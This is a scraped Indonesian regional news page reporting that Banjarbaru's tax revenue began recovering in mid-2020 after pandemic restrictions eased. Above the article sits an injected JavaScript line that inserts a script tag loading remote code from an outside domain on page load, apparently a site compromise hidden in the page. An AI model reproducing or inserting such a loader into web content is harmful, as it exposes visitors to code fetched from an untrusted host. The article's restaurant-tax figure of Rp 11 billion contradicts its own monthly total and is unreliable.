(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Pendapatan Pajak Pemko Banjarbaru Mulai Naik, Juni Sentuh Rp 7,9 miliar


KANAKALIMANTAN.COM, BANJARBARU – Pendapatan sektor pajak kota Banjarbaru perlahan mulai mengalami kenaikan. Dimana pada beberapa waktu lalu sempat mengalami penurunan signifkan akibat hantaman pandemi Covid-19.

Tren kenaikan pendapatan sektor pajak, dipicu kebijakan Pemerintah Kota (Pemko) Banjarbaru melonggarkan aktivitas masyarakat dan mengizinkan sejumlah tempat usaha kembali beroperasi.

Dari data Badan Pengelolaan Pajak dan Retribusi Daerah (BP2RD) Banjarbaru, tren kenaikan ini telah terlihat sejak bulan Juni. Jika pada April-Mei, pendapatan pajak merosot hingga mencapai angka Rp 6,3 miliar. Maka, di Juni lalu telah naik menyentuh Rp 7,9 miliar.

“Nah, kita perkiraan di Juli ini pendapatan pajak kita akan lebih tinggi lagi. Tapi perlu digarisbawahi, ini masih belum bisa menyentuh rata-rata pendapatan kita di masa normal. Kalau sebelum merebaknya pandemi, pendapatan pajak kita itu di angka Rp 10,2 sampai Rp 10,7 miliar,” beber Sekretaris BP2RD Banjarbaru Masrul, Kamis (16/7/2020).

 

Faktor tren kenaikan pendapat pajak di Banjarbaru, kata Masrul, lantaran sejumlah sektor usaha yang kembali beroperasi baik hotel, restoran maupun tempat-tempat hiburan. Sebagai contoh, setoran pajak restoran yang beberapa bulan lalu jatuh di angka Rp 600 juta, kini mulai merangkak naik ke Rp 11 miliar.

“Sektor pajak yang paling berimbas karena kondisi pandemi ini, adalah pajak hotel dan restoran serta BPHTB (Bea Perolehan Hak Tanah dan Bangunan). Ini sempat anjlok, tapi sekarang trennya mulai bagus,” ucapnya.

Ihwal tren kenaikan sektor pendapatan pajak, BP2RD Banjarbaru optimistis bisa mengejar target pendapatan pajak di tahun 2020. Sebab jika mengacu data, di separo bulan Juli ini klaimnya sudah mencapai 68 persen.

“Target awal kita 126 miliar, tetapi karena Covid-19 maka terkoreksi menjadi 87,8 miliar. Nah sekarang total pendapatan pajak kita sudah 60,1 miliar, sehingga kami optimistis bisa memenuhi target itu,” tegas Masrul.

Meski begitu, target ini katanya bisa saja dinaikkan. Mengingat tren pendapatan pajak akhir-akhir ini nilainya berangsur naik.  “Bisa saja dinaikkan, tapi kita akan lihat situasinya dahulu,” pungkasnya. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

Al Ghifari

Recent Posts

Dua Hari Hilang di Tengah Rawa, Kakek Syahdan Ditemukan Selamat

KANALKALIMANTAN.COM, BARABAI – Tak kunjung pulang ke rumah selama dua hari, seorang kakek yang dikabarkan… Read More

8 menit ago

Halalbihalal Kerukunan Bubuhan Banjar Jabar Dihadiri Paman Birin

KANALKALIMANTAN.COM, BOGOR – Gubernur Kalsel H Sahbirin Noor beserta istri Hj Raudatul Jannah hadiri halalbihalal… Read More

3 jam ago

Serap Aspirasi Gen Z, Pj Bupati Kapuas Erlin Hardi Main ke Kafe

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menyambangi kafe untuk menyerap langsung… Read More

4 jam ago

TPK Kelurahan Selat Hilir Juara 3 Terbaik Nasional 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Kerja keras yang berbuah manis. Ungkapan tersebut tepat disematkan untuk Tim… Read More

4 jam ago

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

6 jam ago

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

16 jam ago

This website uses cookies.